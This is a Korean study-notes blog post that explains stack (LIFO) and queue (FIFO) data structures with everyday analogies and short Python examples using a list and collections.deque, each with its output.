https://www.inflearn.com/course/%EB%84%93%EA%B3%A0%EC%96%95%EA%B2%8C-%EC%BB%B4%EA%B3%B5-%EC%A0%84%EA%B3%B5%EC%9E%90

https://velog.io/@2hey9/%EC%9E%90%EB%A3%8C%EA%B5%AC%EC%A1%B0-%ED%8C%8C%EC%9D%B4%EC%8D%AC%EC%9C%BC%EB%A1%9C-%EA%B5%AC%ED%98%84%ED%95%98%EB%8A%94-%EC%9E%90%EB%A3%8C%EA%B5%AC%EC%A1%B0%EC%8A%A4%ED%83%9D-%ED%81%90-%ED%9E%99

선형 자료구조 Stack과 Queue

Security Engineer — Fri, 16 Aug 2024 00:12:14 +0900

Stack(스택)

그림1 - Stack(스택)

1차원 선형 구조 → I/O 지점이 1개 뿐인 자료구조 → Stack
Last In First Out 구조 (LIFO) → 후입선출, 김치냉장고
처음 넣은 것은 맨 아래 바닥에 깔린다.
두 번째부터는 처음 넣은 것 위에 쌓인다.
바닥에 있는 것을 꺼내려면 위에 쌓인 것들을 모두 치우는 수 밖에 없다.
생각해볼 문제: 이런 구조는 왜 필요할까? → 뒤집기(순서 바꾸기), 되돌아가기(Ctrl + Z)
Stack → Ctrl + Z

Queue(큐)

그림2 - Queue(큐)

I/O 지점이 양 끝단으로 나뉘어져 있다. → Queue
First In First Out 구조 → 선입선출
버스를 타기 위해 줄을 서는 것과 같다.
은행에서 번호표 뽑은 순서로 기다리는 것과 같다.
Enqueue → 큐에 뭔가를 집어넣는다.
Dequeue → 큐에 뭔가를 뺀다.
멀티태스킹, 멀티스레딩 환경에서 Queue 자료구조 사용 → 동기화
생각해볼 문제: 비슷해 보이지만 버스를 타려고 줄을 선 것과 은행에서 기다리는 것은 차이가 있다. 무엇이 같고 무엇이 다를까?
Queue → 은행에서 번호표 뽑은 순서로 처리하기

파이썬 코드로 Stack 구현하기

파이썬의 list(리스트)로 구현 가능
push → append (추가)
pop → pop (제일 끝의 요소가 삭제됨)
push(값 삽입)은 append로, pop(값 빼기)는 pop을 사용한다.

< 입력 >

stack = []          # stack 변수에 빈 리스트 대입
stack.append(1)     # 1을 push
stack.append(2)     # 2를 push
stack.append(3)     # 3을 push
stack.append(4)     # 4를 push
stack.append(5)     # 5를 push
stack.append(6)     # 6을 push
print(stack)        # stack 변수 출력
print(stack.pop())  # stack 변수에서 pop으로 값 빼기
print(stack)        # stack 변수 출력
print(stack.pop())  # stack 변수에서 pop으로 값 빼기
print(stack)        # stack 변수 출력

< 출력 >

[1, 2, 3, 4, 5, 6]
6
[1, 2, 3, 4, 5]
5
[1, 2, 3, 4]

파이썬 코드로 Queue 구현하기

파이썬에서 제공하는 deque 라이브러리를 사용하여 구현 가능
Enqueue → append (추가)
Dequeue → popleft (제일 앞의 요소가 삭제됨)

< 입력 >

from collections import deque # deque 불러오기
queue = [1,2,3,4,5,6]         # queue 변수에 값 대입
result = deque(queue)         # result에 queue 리스트를 deque로 변경 후 대입 
print(result)                 # result 출력
result.append(7)              # result에 7 추가
print(result.popleft())       # result에서 popleft로 값 빼기
print(result)                 # result 출력
print(result.popleft())       # result에서 popleft로 값 빼기
print(result)                 # result 출력

<출력>

deque([1, 2, 3, 4, 5, 6])
1
deque([2, 3, 4, 5, 6, 7])
2
deque([3, 4, 5, 6, 7])

참고

https://www.inflearn.com/course/%EB%84%93%EA%B3%A0%EC%96%95%EA%B2%8C-%EC%BB%B4%EA%B3%B5-%EC%A0%84%EA%B3%B5%EC%9E%90